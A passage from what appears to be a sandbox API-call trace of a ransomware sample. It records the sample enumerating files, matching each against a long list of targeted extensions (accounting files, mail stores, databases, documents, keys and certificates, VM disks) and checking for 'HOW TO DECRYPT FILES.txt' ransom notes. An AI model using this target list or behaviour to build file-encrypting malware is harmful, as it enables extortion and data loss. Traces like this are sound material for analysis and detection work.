Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.qbw") returned 0 [0058.751] lstrlenA (lpString="*.qbw") returned 5 [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.qbb") returned 0 [0058.751] lstrlenA (lpString="*.qbb") returned 5 [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.qbm") returned 0 [0058.751] lstrlenA (lpString="*.qbm") returned 5 [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.qbo") returned 0 [0058.751] lstrlenA (lpString="*.qbo") returned 5 [0058.751] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.qbx") returned 0 [0058.752] lstrlenA (lpString="*.qbx") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.qba") returned 0 [0058.752] lstrlenA (lpString="*.qba") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.qby") returned 0 [0058.752] lstrlenA (lpString="*.qby") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.qbj") returned 0 [0058.752] lstrlenA (lpString="*.qbj") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.ofx") returned 0 [0058.752] lstrlenA (lpString="*.ofx") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.qif") returned 0 [0058.752] lstrlenA (lpString="*.qif") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.mye") returned 0 [0058.752] lstrlenA (lpString="*.mye") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.mbox") returned 0 [0058.752] lstrlenA (lpString="*.mbox") returned 6 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.eml") returned 0 [0058.752] lstrlenA (lpString="*.eml") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.pst") returned 0 [0058.752] lstrlenA (lpString="*.pst") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.ost") returned 0 [0058.752] lstrlenA (lpString="*.ost") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.idx") returned 0 [0058.752] lstrlenA (lpString="*.idx") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.dbx") returned 0 [0058.752] lstrlenA (lpString="*.dbx") returned 5 [0058.752] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.sql") returned 0 [0058.753] lstrlenA (lpString="*.sql") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.mdb") returned 0 [0058.753] lstrlenA (lpString="*.mdb") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.fdb") returned 0 [0058.753] lstrlenA (lpString="*.fdb") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.wab") returned 0 [0058.753] lstrlenA (lpString="*.wab") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.dat") returned 0 [0058.753] lstrlenA (lpString="*.dat") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.txt") returned 0 [0058.753] lstrlenA (lpString="*.txt") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.jpeg") returned 0 [0058.753] lstrlenA (lpString="*.jpeg") returned 6 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.jpg") returned 0 [0058.753] lstrlenA (lpString="*.jpg") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.png") returned 0 [0058.753] lstrlenA (lpString="*.png") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.php") returned 0 [0058.753] lstrlenA (lpString="*.php") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.cs") returned 0 [0058.753] lstrlenA (lpString="*.cs") returned 4 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.cpp") returned 0 [0058.753] lstrlenA (lpString="*.cpp") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.rar") returned 0 [0058.753] lstrlenA (lpString="*.rar") returned 5 [0058.753] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.zip") returned 0 [0058.753] lstrlenA (lpString="*.zip") returned 5 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.html") returned 0 [0058.754] lstrlenA (lpString="*.html") returned 6 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.htm") returned 0 [0058.754] lstrlenA (lpString="*.htm") returned 5 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.xlsx") returned 0 [0058.754] lstrlenA (lpString="*.xlsx") returned 6 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.xls") returned 0 [0058.754] lstrlenA (lpString="*.xls") returned 5 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.mp4") returned 0 [0058.754] lstrlenA (lpString="*.mp4") returned 5 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.ppt") returned 0 [0058.754] lstrlenA (lpString="*.ppt") returned 5 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.pptx") returned 0 [0058.754] lstrlenA (lpString="*.pptx") returned 6 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.doc") returned 0 [0058.754] lstrlenA (lpString="*.doc") returned 5 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.dot") returned 0 [0058.754] lstrlenA (lpString="*.dot") returned 5 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.docx") returned 0 [0058.754] lstrlenA (lpString="*.docx") returned 6 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.7z") returned 0 [0058.754] lstrlenA (lpString="*.7z") returned 4 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.tar") returned 0 [0058.754] lstrlenA (lpString="*.tar") returned 5 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.bz2") returned 0 [0058.754] lstrlenA (lpString="*.bz2") returned 5 [0058.754] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.gz") returned 0 [0058.755] lstrlenA (lpString="*.gz") returned 4 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.mkv") returned 0 [0058.755] lstrlenA (lpString="*.mkv") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.eml") returned 0 [0058.755] lstrlenA (lpString="*.eml") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.msg") returned 0 [0058.755] lstrlenA (lpString="*.msg") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.edb") returned 0 [0058.755] lstrlenA (lpString="*.edb") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.accdb") returned 0 [0058.755] lstrlenA (lpString="*.accdb") returned 7 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.odb") returned 0 [0058.755] lstrlenA (lpString="*.odb") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.java") returned 0 [0058.755] lstrlenA (lpString="*.java") returned 6 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.asm") returned 0 [0058.755] lstrlenA (lpString="*.asm") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.pfx") returned 0 [0058.755] lstrlenA (lpString="*.pfx") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.pem") returned 0 [0058.755] lstrlenA (lpString="*.pem") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.p12") returned 0 [0058.755] lstrlenA (lpString="*.p12") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.gpg") returned 0 [0058.755] lstrlenA (lpString="*.gpg") returned 5 [0058.755] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.vsd") returned 0 [0058.755] lstrlenA (lpString="*.vsd") returned 5 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.odg") returned 0 [0058.756] lstrlenA (lpString="*.odg") returned 5 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.raw") returned 0 [0058.756] lstrlenA (lpString="*.raw") returned 5 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.nef") returned 0 [0058.756] lstrlenA (lpString="*.nef") returned 5 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.svg") returned 0 [0058.756] lstrlenA (lpString="*.svg") returned 5 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.psd") returned 0 [0058.756] lstrlenA (lpString="*.psd") returned 5 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.vmx") returned 0 [0058.756] lstrlenA (lpString="*.vmx") returned 5 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.vmdk") returned 0 [0058.756] lstrlenA (lpString="*.vmdk") returned 6 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.vdi") returned 0 [0058.756] lstrlenA (lpString="*.vdi") returned 5 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.lay6") returned 0 [0058.756] lstrlenA (lpString="*.lay6") returned 6 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.mpeg") returned 0 [0058.756] lstrlenA (lpString="*.mpeg") returned 6 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.djvu") returned 0 [0058.756] lstrlenA (lpString="*.djvu") returned 6 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.tiff") returned 0 [0058.756] lstrlenA (lpString="*.tiff") returned 6 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.backup") returned 0 [0058.756] lstrlenA (lpString="*.backup") returned 8 [0058.756] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.pdf") returned 0 [0058.757] lstrlenA (lpString="*.pdf") returned 5 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.cert") returned 0 [0058.757] lstrlenA (lpString="*.cert") returned 6 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.docm") returned 0 [0058.757] lstrlenA (lpString="*.docm") returned 6 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.xlsm") returned 0 [0058.757] lstrlenA (lpString="*.xlsm") returned 6 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.dwg") returned 0 [0058.757] lstrlenA (lpString="*.dwg") returned 5 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.nd") returned 0 [0058.757] lstrlenA (lpString="*.nd") returned 4 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.tlg") returned 0 [0058.757] lstrlenA (lpString="*.tlg") returned 5 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.lgb") returned 0 [0058.757] lstrlenA (lpString="*.lgb") returned 5 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.mov") returned 0 [0058.757] lstrlenA (lpString="*.mov") returned 5 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.xdw") returned 0 [0058.757] lstrlenA (lpString="*.xdw") returned 5 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.ods") returned 0 [0058.757] lstrlenA (lpString="*.ods") returned 5 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.wav") returned 0 [0058.757] lstrlenA (lpString="*.wav") returned 5 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.mp3") returned 0 [0058.757] lstrlenA (lpString="*.mp3") returned 5 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.aiff") returned 0 [0058.757] lstrlenA (lpString="*.aiff") returned 6 [0058.757] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.flac") returned 0 [0058.758] lstrlenA (lpString="*.flac") returned 6 [0058.758] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.m4a") returned 0 [0058.758] lstrlenA (lpString="*.m4a") returned 5 [0058.758] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", pszSpec="*.csv") returned 0 [0058.758] lstrlenA (lpString="*.csv") returned 5 [0058.758] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0058.758] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.758] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Connectivity.gif") returned 1 [0058.758] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Connectivity.gif") returned 1 [0058.758] lstrcmpiA (lpString1="", lpString2="Connectivity.gif") returned -1 [0058.758] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned="Cave_Drawings.gif" [0058.758] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" [0058.758] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\") returned="" [0058.758] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0058.758] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0058.758] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\", lpString2="Connectivity.gif" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" [0058.758] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.ems") returned 0 [0058.758] lstrlenA (lpString="*.ems") returned 5 [0058.758] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.db") returned 0 [0058.758] lstrlenA (lpString="*.db") returned 4 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.dbf") returned 0 [0058.759] lstrlenA (lpString="*.dbf") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.myox") returned 0 [0058.759] lstrlenA (lpString="*.myox") returned 6 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.myo") returned 0 [0058.759] lstrlenA (lpString="*.myo") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.qbw") returned 0 [0058.759] lstrlenA (lpString="*.qbw") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.qbb") returned 0 [0058.759] lstrlenA (lpString="*.qbb") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.qbm") returned 0 [0058.759] lstrlenA (lpString="*.qbm") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.qbo") returned 0 [0058.759] lstrlenA (lpString="*.qbo") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.qbx") returned 0 [0058.759] lstrlenA (lpString="*.qbx") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.qba") returned 0 [0058.759] lstrlenA (lpString="*.qba") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.qby") returned 0 [0058.759] lstrlenA (lpString="*.qby") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.qbj") returned 0 [0058.759] lstrlenA (lpString="*.qbj") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.ofx") returned 0 [0058.759] lstrlenA (lpString="*.ofx") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.qif") returned 0 [0058.759] lstrlenA (lpString="*.qif") returned 5 [0058.759] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.mye") returned 0 [0058.760] lstrlenA (lpString="*.mye") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.mbox") returned 0 [0058.760] lstrlenA (lpString="*.mbox") returned 6 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.eml") returned 0 [0058.760] lstrlenA (lpString="*.eml") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.pst") returned 0 [0058.760] lstrlenA (lpString="*.pst") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.ost") returned 0 [0058.760] lstrlenA (lpString="*.ost") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.idx") returned 0 [0058.760] lstrlenA (lpString="*.idx") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.dbx") returned 0 [0058.760] lstrlenA (lpString="*.dbx") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.sql") returned 0 [0058.760] lstrlenA (lpString="*.sql") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.mdb") returned 0 [0058.760] lstrlenA (lpString="*.mdb") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.fdb") returned 0 [0058.760] lstrlenA (lpString="*.fdb") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.wab") returned 0 [0058.760] lstrlenA (lpString="*.wab") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.dat") returned 0 [0058.760] lstrlenA (lpString="*.dat") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.txt") returned 0 [0058.760] lstrlenA (lpString="*.txt") returned 5 [0058.760] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.jpeg") returned 0 [0058.760] lstrlenA (lpString="*.jpeg") returned 6 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.jpg") returned 0 [0058.761] lstrlenA (lpString="*.jpg") returned 5 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.png") returned 0 [0058.761] lstrlenA (lpString="*.png") returned 5 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.php") returned 0 [0058.761] lstrlenA (lpString="*.php") returned 5 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.cs") returned 0 [0058.761] lstrlenA (lpString="*.cs") returned 4 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.cpp") returned 0 [0058.761] lstrlenA (lpString="*.cpp") returned 5 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.rar") returned 0 [0058.761] lstrlenA (lpString="*.rar") returned 5 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.zip") returned 0 [0058.761] lstrlenA (lpString="*.zip") returned 5 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.html") returned 0 [0058.761] lstrlenA (lpString="*.html") returned 6 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", pszSpec="*.htm") returned 0 [0058.761] lstrlenA (lpString="*.htm") returned 5 [0058.761] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft 